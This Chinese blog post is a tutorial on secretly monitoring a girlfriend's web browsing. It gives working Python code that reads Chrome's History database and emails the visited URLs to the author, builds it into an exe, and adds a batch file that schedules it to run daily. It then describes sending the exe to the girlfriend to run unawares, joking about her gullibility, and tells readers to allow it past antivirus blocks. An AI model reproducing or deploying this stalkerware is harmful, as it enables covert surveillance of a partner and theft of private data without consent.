Python定时偷取妹子Chrome上网记录

 原文:教大家一招用Python实时监控自己的女朋友每天上网都在做什么!

参考这个思路,尝试自己实现一下

读取Chrome历史记录文件

1、文件可在以下路径找到,这是个sqllite数据库文件

C:\Users\自己的用户名\AppData\Local\Google\Chrome\User Data\Default\History

2、使用DB Browser把这个文件加进来,打开后可以看到表信息,这里用到的urls表中的url和last_visit_time字段

3、使用sqlite3模块,读取表字段值,打印出来看看

打印本地时间戳

>>> import time
>>> time.time()
1534399058.524

这里发现其中last_visit_time字段的内容不太能理解,与当前时间戳相差甚大,Google发现这个值是以1601年为基准的时间戳,并且单位是微秒

iivaf...@gmail.com Thanks you a lot. I find reason. usual utc Unix-like system (Jan 1, 1970) Chrome start from new date 1601 so difference 11644473600 second to calculate usual date. Thanks you to helpfull links

 4、对last_visit_time做判断,取得需要的数据

 get_chrome_history.py代码如下:

PS:这里有个问题,chrome浏览器要手动关闭(也可以在代码里强制关掉),否则History文件被占用,db文件打开出错)

# -*- coding:utf-8 -*-
# __author__ :kusy
# __content__:文件说明
# __date__:2018/8/16 9:38

"""
Get Visitied URLS in Chrome History
"""

import sqlite3
import time
import datetime
import os
import getpass
import pytz


def get_history_data():
    #获取今天0点的日期
    now = datetime.datetime.now()
    now_000 = time.strftime('%Y-%m-%d',datetime.datetime.timetuple(now))

    #获取昨天0点的日期
    today = datetime.datetime.strptime(now_000,'%Y-%m-%d')
    yestoday = today - datetime.timedelta(days=1)
    basedate = datetime.datetime(1601,1,1)

    # 获取以1601年为基准的时间戳
    # today_timestamp = (today - basedate).total_seconds()
    yestoday_timestamp = (yestoday - basedate).total_seconds()

    # 获取当前系统登录用户名
    localuser = getpass.getuser()
    connstr = 'C:\\Users\\' + localuser + '\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History'
    # 校验Chrome文件是否存在
    if not os.path.exists(connstr):
        raise Exception('Chrome History File does not exists!')

    conn = sqlite3.connect(connstr)
    cur = conn.cursor()
    querystr = 'select url,last_visit_time from urls order by last_visit_time desc'

    try:
        cur.execute(querystr)
    except sqlite3.OperationalError:
        print('please close chrome browser at first!')

    data_all = cur.fetchall()
    expectdata = []
    for data in data_all:
        #微秒转换为秒
        last_visit_time = data[1] / 1000 / 1000
        # 获取昨天时间之后的内容,否则退出循环(查询数据已经倒序排列)
        if last_visit_time > yestoday_timestamp:
            # 转换访问时间,UTC转换时区 + 8h
            visit_time = basedate + datetime.timedelta(seconds=last_visit_time,hours=8)
            # #UTC转换时区
            # visit_time = visit_time.astimezone(pytz.timezone('Asia/Shanghai'))
            visit_time = time.strftime('%Y-%m-%d %H:%M:%S',datetime.datetime.timetuple(visit_time))
            expectdata.append(visit_time + '   ' + data[0])
        else:
            # 如果无历史数据,抛出异常提示
            if expectdata == []:
                raise Exception('there is no data.')
            break
    cur.close()
    conn.close()
    return '\n'.join(expectdata)

if __name__ == '__main__':
    print(get_history_data())

通过邮件发送数据

1、sendemail.py代码如下

# -*- coding:utf-8 -*-
# __author__ :kusy
# __content__:文件说明
# __date__:2018/8/16 15:37

from email.mime.text import MIMEText
from email.header import Header
from email.utils import parseaddr, formataddr
import smtplib

from get_chrome_history import get_history_data


def _format_addr(s):
    name, addr = parseaddr(s)
    return formataddr((Header(name, 'utf-8').encode(), addr))


def send():
    from_addr = 'sky_wangjz@163.com'
    password = 'xxxx.'

    to_addr = 'sky_wangjz@163.com'
    smtp_server = 'smtp.163.com'

    # 拼接发送内容
    mimestr = '<html><body><h1>昨日Chrome浏览记录</h1>'
    for hisdata in get_history_data().split('\n'):
        # 日期和网址分开
        hisdata_split = hisdata.split('   ')
        # print(hisdata_split)
        mimestr = mimestr + '<p>' + \
                  hisdata_split[0] + \
                  '   <a href=\"' + hisdata_split[1] + '\">' +\
                  hisdata_split[1] + '</a></p>'
    mimestr = mimestr + '</body></html>'

    print(mimestr)
    msg = MIMEText(mimestr, 'html', 'utf-8')
    msg['From'] = _format_addr('Python爱好者 <%s>' % from_addr)
    msg['To'] = _format_addr('Python爱好者 <%s>' % to_addr)
    msg['Subject'] = Header('Chrome昨日浏览记录', 'utf-8').encode()

    server = smtplib.SMTP(smtp_server,25)
    server.set_debuglevel(1)
    server.login(from_addr,password)
    server.sendmail(from_addr,[to_addr],msg.as_string())
    server.quit()

if __name__ == '__main__':
    send()

2、效果图如下

文件发给妹子执行

 1、py文件打包成exe,安装pyinstaller工具

C:\Users\suneee>pip3 install pyinstaller
Collecting pyinstaller
  Downloading https://files.pythonhosted.org/packages/3c/86/909a8c35c5471919b3854c01f43843d9b5aed0e9
948b63e560010f7f3429/PyInstaller-3.3.1.tar.gz (3.5MB)
    71% |██████████████████████▊         | 2.5MB 8.7kB/s eta 0:01:56

2、执行命令:pyinstaller -F sendemail.py

Q:\PyWorkSpace\LearnPython>pyinstaller -F sendemail.py
148 INFO: PyInstaller: 3.3.1
148 INFO: Python: 3.6.3
148 INFO: Platform: Windows-7-6.1.7601-SP1
150 INFO: wrote Q:\PyWorkSpace\LearnPython\sendemail.spec
156 INFO: UPX is not available.
158 INFO: Extending PYTHONPATH with paths
['Q:\\PyWorkSpace\\LearnPython', 'Q:\\PyWorkSpace\\LearnPython']
158 INFO: checking Analysis
158 INFO: Building Analysis because out00-Analysis.toc is non existent
158 INFO: Initializing module dependency graph...
160 INFO: Initializing module graph hooks...
161 INFO: Analyzing base_library.zip ...
5476 INFO: running Analysis out00-Analysis.toc
5529 INFO: Adding Microsoft.Windows.Common-Controls to dependent assemblies of final executable
  required by c:\users\suneee\appdata\local\programs\python\python36\python.exe
6631 INFO: Caching module hooks...
6635 INFO: Analyzing Q:\PyWorkSpace\LearnPython\sendemail.py
7201 INFO: Processing pre-find module path hook   distutils
8420 INFO: Loading module hooks...
8421 INFO: Loading module hook "hook-distutils.py"...
8433 INFO: Loading module hook "hook-encodings.py"...
8588 INFO: Loading module hook "hook-lib2to3.py"...
8598 INFO: Loading module hook "hook-pkg_resources.py"...
9021 INFO: Processing pre-safe import module hook   win32com
9367 INFO: Loading module hook "hook-pydoc.py"...
9368 INFO: Loading module hook "hook-pythoncom.py"...
9709 INFO: Loading module hook "hook-pytz.py"...
9854 INFO: Loading module hook "hook-pywintypes.py"...
10100 INFO: Loading module hook "hook-sqlite3.py"...
10200 INFO: Loading module hook "hook-sysconfig.py"...
10201 INFO: Loading module hook "hook-win32com.py"...
10858 INFO: Loading module hook "hook-xml.py"...
11228 INFO: Looking for ctypes DLLs
11243 INFO: Analyzing run-time hooks ...
11246 INFO: Including run-time hook 'pyi_rth_pkgres.py'
11249 INFO: Including run-time hook 'pyi_rth_win32comgenpy.py'
11252 INFO: Including run-time hook 'pyi_rth_multiprocessing.py'
11264 INFO: Looking for dynamic libraries
11756 INFO: Looking for eggs
11756 INFO: Using Python library c:\users\suneee\appdata\local\programs\python\python36\python36.dll
11756 INFO: Found binding redirects:
[]
11759 INFO: Warnings written to Q:\PyWorkSpace\LearnPython\build\sendemail\warnsendemail.txt
11818 INFO: Graph cross-reference written to Q:\PyWorkSpace\LearnPython\build\sendemail\xref-sendemail.html
11888 INFO: checking PYZ
11888 INFO: Building PYZ because out00-PYZ.toc is non existent
11888 INFO: Building PYZ (ZlibArchive) Q:\PyWorkSpace\LearnPython\build\sendemail\out00-PYZ.pyz
12544 INFO: Building PYZ (ZlibArchive) Q:\PyWorkSpace\LearnPython\build\sendemail\out00-PYZ.pyz completed successfully.
12555 INFO: checking PKG
12555 INFO: Building PKG because out00-PKG.toc is non existent
12557 INFO: Building PKG (CArchive) out00-PKG.pkg
12635 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\python36.dll
12639 INFO: Updating resource type 24 name 2 language 1033
12928 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_decimal.pyd
12928 INFO: Updating resource type 24 name 2 language 1033
12937 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_ctypes.pyd
12937 INFO: Updating resource type 24 name 2 language 1033
12944 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_multiprocessing.pyd
12946 INFO: Updating resource type 24 name 2 language 1033
13007 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_ssl.pyd
13008 INFO: Updating resource type 24 name 2 language 1033
13022 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\unicodedata.pyd
13022 INFO: Updating resource type 24 name 2 language 1033
13039 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\pyexpat.pyd
13040 INFO: Updating resource type 24 name 2 language 1033
13055 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_hashlib.pyd
13055 INFO: Updating resource type 24 name 2 language 1033
13067 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_bz2.pyd
13068 INFO: Updating resource type 24 name 2 language 1033
13086 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_lzma.pyd
13088 INFO: Updating resource type 24 name 2 language 1033
13104 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_socket.pyd
13104 INFO: Updating resource type 24 name 2 language 1033
13112 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\select.pyd
13113 INFO: Updating resource type 24 name 2 language 1033
13121 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\_sqlite3.pyd
13123 INFO: Updating resource type 24 name 2 language 1033
13176 INFO: Updating manifest in C:\Users\suneee\AppData\Roaming\pyinstaller\bincache00_py36_64bit\sqlite3.dll
13177 INFO: Updating resource type 24 name 2 language 1033
17795 INFO: Building PKG (CArchive) out00-PKG.pkg completed successfully.
17872 INFO: Bootloader c:\users\suneee\appdata\local\programs\python\python36\lib\site-packages\PyInstaller\bootloader\Windows-64bit\run.exe
17872 INFO: checking EXE
17872 INFO: Building EXE because out00-EXE.toc is non existent
17873 INFO: Building EXE from out00-EXE.toc
17873 INFO: Appending archive to EXE Q:\PyWorkSpace\LearnPython\dist\sendemail.exe
17884 INFO: Building EXE from out00-EXE.toc completed successfully.

Q:\PyWorkSpace\LearnPython>

执行完之后,可以看到生成了exe文件,运行一下,被360阻止发邮件,允许,成功发送

3、把这个exe文件使用批处理做计划任务(每天10点执行),运行bat文件,360阻止的话也允许(bat文件和exe文件放在同一路径即可)

rem delete task :send_chrome_history
schtasks /delete /tn "send_chrome_history" /f
rem add task :send_chrome_history
schtasks /create /tn "send_chrome_history" /tr ".\sendemail.exe" /st 10:00 /sc DAILY
rem run right now
sendemail.exe

可以看到计划任务已经添加成功了,以后每天10点都会自动执行

 4、一切都准备好了,然后发给妹子,策略是否成功就看妹子到底有多傻了^o^

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Aloys的开发之路

J2EE相关总结

Java Commons The Java™ Tutorials: http://docs.oracle.com/javase/tutorial/index.h...

214100
来自专栏颇忒脱的技术博客

Spring、Spring Boot和TestNG测试指南 - 使用Spring Boot Testing工具

前面一个部分讲解了如何使用Spring Testing工具来测试Spring项目,现在我们讲解如何使用Spring Boot Testing工具来测试Sprin...

19530
来自专栏about云

让你快速认识flume及安装和使用flume1.5传输数据(日志)到hadoop2.2

问题导读: 1.什么是flume? 2.如何安装flume? 3.flume的配置文件与其它软件有什么不同? 一、认识flume 1.flume是什么? ...

397130
来自专栏前端之路

Hello World

12330
来自专栏乐沙弥的世界

Oracle cloud control 12c 如何修改sysman密码

    前阵子在虚拟机部署了Oracle Cloud Control 12c,事别几日,竟然忘记了登陆密码。主要是因为现在的Oracle有关的Software...

8810
来自专栏一个会写诗的程序员的博客

8.1 Spring Boot集成Groovy混合Java开发小结

本章节我们使用SpringBoot集成Groovy混合Java开发一个极简的RestAPI。 数据库使用mysql,ORM层使用mybatis,模板引擎使用fr...

21120
来自专栏SAP最佳业务实践

SAP最佳业务实践:SD–带变式价格的销售报价(663)-1业务概览

用途 Quotation processing is the first stage of this business process. In this s...

38840
来自专栏互联网技术栈

Spring Boot 2.0 Release Notes 中文版

由于1.5版本是Spring Boot的主要版本,所有升级现有的应用程序可能会比平常更复杂一点。我们制定了专门的迁移指南来帮助您升级现有的Spring Boot...

15920
来自专栏程序猿DD

Why Spring Boot

本文介绍将各种Spring的配置方式,帮助您了解配置Spring应用的复杂性。 Spring是一个非常受欢迎的Java框架,它用于构建web和企业应用。不像许多...

43570
来自专栏一个会写诗的程序员的博客

Spring Boot 自定义Spring MVC 配置: WebMvcConfigurationSupport

Spring Boot 自定义Spring MVC 配置: WebMvcConfigurationSupport

14620

扫码关注云+社区

领取腾讯云代金券